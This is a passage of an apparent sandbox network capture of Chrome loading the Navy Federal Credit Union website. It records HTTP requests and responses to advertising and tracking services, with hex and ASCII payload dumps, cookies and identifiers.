href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49905	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	932	OUT	GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590758340 HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYpg.W9lPCe2bjG1r2q4j1B4-e8waITE
2024-05-24 22:46:03 UTC	949	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 469 Connection: close Date: Fri, 24 May 2024 22:46:03 GMT Location: https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.155465 Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:03 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYqw.oOFQfCI83FLyB0g-FpIlSekH2uM; Expires=Wed, 18 Jun 2025 22:46:03 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 650363fa7465273dd14fde086a851a86.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: _RxpglWI5x4woQIbQqec1njM0jCisQ3qMpzKUIfV3ZZgvYvdgk-tGQ==
2024-05-24 22:46:03 UTC	469	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 2e 6c 69 61 64 6d 2e 63 6f 6d 2f 73 2f 36 34 35 38 31 3f 62 69 64 64 65 72 5f 69 64 3d 32 30 30 34 34 32 26 61 6d 70 3b 62 69 64 64 65 72 5f 75 75 69 64 3d 33 35 37 63 32 38 63 33 2d 39 65 66 64 2d 34 65 33 35 2d 38 65 32 30 2d 32 38 38 66 66 38 64 61 34 61 31 61 25 33 41 Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://i.liadm.com/s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49924	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:02 UTC	920	OUT	GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	551	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:02 GMT perf: 7402827104 server: tsa_b set-cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:03 GMT; Path=/; Domain=t.co; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 9b57d2cf5d4fd507 strict-transport-security: max-age=0 x-response-time: 6 x-connection-hash: 2a8780a2e7f3aca5555ebaf302eef61eadcd5f498944a87917fe3f804653b09f connection: close
2024-05-24 22:46:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49922	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	565	OUT	GET /engagement/js?goalId=15654&cb=1716590761278 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	546	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/javascript; charset=utf-8 Expires: -1 Set-Cookie: bt-es-15654=aafbf16b-f44b-4ef0-9b6d-fd431d3a508f; path=/ Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:34 GMT; path=/; secure; SameSite=None X-ServerName: Track004-iad Date: Fri, 24 May 2024 22:45:34 GMT Connection: close Content-Length: 10120 Strict-Transport-Security: max-age=31536000;
2024-05-24 22:46:03 UTC	10120	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 69 64 74 65 6c 6c 65 63 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 4a 53 4f 4e 3d 7b 7d 3b 62 69 64 74 65 6c 6c 65 63 74 2e 4a 53 4f 4e 3d 4a 53 4f 4e 3b 66 75 6e 63 74 69 6f 6e 20 66 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3c 31 30 3f 22 30 22 2b 6e 3a 6e 7d 76 61 72 20 74 6f 53 74 72 69 6e 67 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 76 61 72 20 52 45 50 4c 41 43 45 52 53 3d 7b 44 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 7b 76 61 72 20 6d 73 3d 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 3b 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 29 3f 74 68 69 73 2e 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 28 29 2b 22 2d 22 2b Data Ascii: (function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var toString=Object.prototype.toString;var REPLACERS={Date:function(key){var ms=this.valueOf();return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49913	18.239.69.121	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	536	OUT	GET /js/tc.min.js HTTP/1.1 Host: c1.rfihub.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	587	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 19498 Connection: close Date: Fri, 24 May 2024 21:56:02 GMT P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Cache-Control: public, max-age=3600 Expires: Fri, 24 May 2024 22:56:02 GMT Last-Modified: Fri, 24 May 2024 21:55:52 GMT Server: Jetty(9.4.51.v20230217) Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d0ade5b002ae847eefd25c219f24b24c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: 9FQvsWnkEVWIholPSBRkRTzkpw_r-gBVf-AWtq9Igl0XV680r7L6bQ== Age: 3001
2024-05-24 22:46:03 UTC	15797	IN	Data Raw: 0a 76 61 72 20 4a 53 4f 4e 3b 4a 53 4f 4e 7c 7c 28 4a 53 4f 4e 3d 7b 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 72 65 74 75 72 6e 20 31 30 3e 61 3f 22 30 22 2b 61 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 71 75 6f 74 65 28 61 29 7b 72 65 74 75 72 6e 20 65 73 63 61 70 61 62 6c 65 2e 6c 61 73 74 49 6e 64 65 78 3d 30 2c 65 73 63 61 70 61 62 6c 65 2e 74 65 73 74 28 61 29 3f 27 22 27 2b 61 2e 72 65 70 6c 61 63 65 28 65 73 63 61 70 61 62 6c 65 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6d 65 74 61 5b 61 5d 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 3f 62 3a 22 5c 5c 75 22 2b 28 22 30 30 30 30 22 2b 61 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 Data Ascii: var JSON;JSON\|\|(JSON={}),function(){"use strict";function f(a){return 10>a?"0"+a:a}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return"string"==typeof b?b:"\\u"+("0000"+a.charCodeAt(0)
2024-05-24 22:46:03 UTC	3701	IN	Data Raw: 22 20 69 6e 73 65 72 74 65 64 22 29 2c 64 7d 2c 69 6e 73 65 72 74 49 66 72 61 6d 65 49 6e 74 65 72 6e 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 2c 67 2c 68 3b 72 65 74 75 72 6e 20 64 3d 74 68 69 73 2e 72 66 69 53 65 72 76 65 72 3f 74 68 69 73 2e 72 66 69 53 65 72 76 65 72 3a 62 2b 22 70 2e 72 66 69 68 75 62 2e 63 6f 6d 22 2c 63 3d 74 68 69 73 2e 64 65 62 75 67 4d 6f 64 65 3f 22 26 72 66 69 44 65 62 75 67 3d 31 22 3a 22 22 2c 67 3d 21 31 2c 66 3d 67 3f 22 2f 74 22 3a 22 22 2c 68 3d 74 68 69 73 2e 67 65 74 50 72 6f 74 6f 63 6f 6c 28 29 2b 22 2f 2f 22 2b 64 2b 66 2b 22 2f 63 61 2e 68 74 6d 6c 3f 22 2b 61 2b 74 68 69 73 2e 67 65 74 55 75 69 64 50 61 72 61 6d 28 29 2b 63 2b 22 26 72 61 3d 22 2b 74 68 69 73 2e 63 61 63 Data Ascii: " inserted"),d},insertIframeInternal:function(a,b){var c,d,e,f,g,h;return d=this.rfiServer?this.rfiServer:b+"p.rfihub.com",c=this.debugMode?"&rfiDebug=1":"",g=!1,f=g?"/t":"",h=this.getProtocol()+"//"+d+f+"/ca.html?"+a+this.getUuidParam()+c+"&ra="+this.cac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49917	99.83.205.94	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	556	OUT	OPTIONS /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: p.tvpixel.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://9749892.fls.doubleclick.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	366	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:03 GMT Content-Length: 0 Connection: close Server: nginx Access-Control-Allow-Origin: https://9749892.fls.doubleclick.net Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, SP-Anonymous Access-Control-Max-Age: 600 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49918	34.200.140.231	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	454	OUT	GET /d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}} HTTP/1.1 Host: b.videoamp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	400	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:03 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Beacon Server Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Set-Cookie: vampid=5dd1753b-dfe8-48e0-9167-e07f9c552750; expires=Sat, 24 May 2025 22:46:03 GMT; domain=.videoamp.com; path=/; SameSite=None
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49925	52.54.118.196	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	776	OUT	GET /identify/resolve?data=eyJjb29raWUiOnsiYnNpbiI6IiJ9LCJxdWVyeXN0cmluZyI6e30sImV4dGVybmFsX2lkcyI6eyJ6eW5jIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In19&site_id=navy-federal-credit-union HTTP/1.1 Host: people.api.boomtrain.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	310	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: X-Requested-With,Content-Type,Authorization,x-app-id Access-Control-Allow-Methods: GET,PUT,POST,DELETE Access-Control-Allow-Origin: * Content-Type: application/json Date: Fri, 24 May 2024 22:46:03 GMT Server: nginx Content-Length: 159 Connection: Close
2024-05-24 22:46:03 UTC	159	IN	Data Raw: 7b 22 61 70 70 5f 69 64 22 3a 22 6e 61 76 79 2d 66 65 64 65 72 61 6c 2d 63 72 65 64 69 74 2d 75 6e 69 6f 6e 22 2c 22 62 73 69 6e 22 3a 22 54 58 70 48 73 72 48 4e 36 34 66 74 69 42 4d 49 4e 67 33 54 48 48 57 75 76 37 65 31 34 47 52 6e 73 32 4d 58 56 45 4d 6e 77 6c 6e 49 73 4a 31 66 68 47 59 68 75 56 53 59 4f 41 6c 6d 6a 73 6a 72 41 55 2f 4e 56 75 35 6e 7a 66 41 6a 2f 2f 76 4b 6b 58 69 37 4b 51 3d 3d 22 2c 22 69 73 5f 69 64 65 6e 74 69 66 69 65 64 22 3a 66 61 6c 73 65 7d 0a Data Ascii: {"app_id":"navy-federal-credit-union","bsin":"TXpHsrHN64ftiBMINg3THHWuv7e14GRns2MXVEMnwlnIsJ1fhGYhuVSYOAlmjsjrAU/NVu5nzfAj//vKkXi7KQ==","is_identified":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49928	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	759	OUT	GET /track/cmf/generic?ttd_pid=aam HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRgFKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIDYWFt
2024-05-24 22:46:03 UTC	696	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:03 GMT Content-Length: 409 Connection: close server: Kestrel location: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&expires=30&next=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Frubicon set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:03 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRgFIAEoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdydWJpY29u; expires=Sat, 24 May 2025 22:46:03 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:03 UTC	409	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 65 78 70 69 72 65 73 3d 33 30 26 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 72 75 62 69 63 6f 6e 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 Data Ascii: Redirecting to: <a href="https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&expires=30&next=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Frubicon">https://pixel.rubiconproject.com/tap.ph

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49927	95.101.111.156	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	498	OUT	GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1 HTTP/1.1 Host: trkn.us Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663
2024-05-24 22:46:03 UTC	674	IN	HTTP/1.1 200 OK Content-Length: 42 Content-Type: image/gif Pragma: no-cache Date: Fri, 24 May 2024 22:46:03 GMT Connection: close X-Content-Type-Options: nosniff P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663; expires=Sat, 24-May-2025 22:46:03 GMT; Max-Age=31536000; path=/; SameSite=None; Secure; domain=.trkn.us; Expires: Sun, 9 Nov 1980 12:58:00 GMT Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate Set-Cookie: barometric[idfa]=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; SameSite=None; Secure; domain=.trkn.us
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49931	142.250.186.98	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	818	OUT	GET /ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: /* X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49929	142.250.184.226	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:03 UTC	862	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:03 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

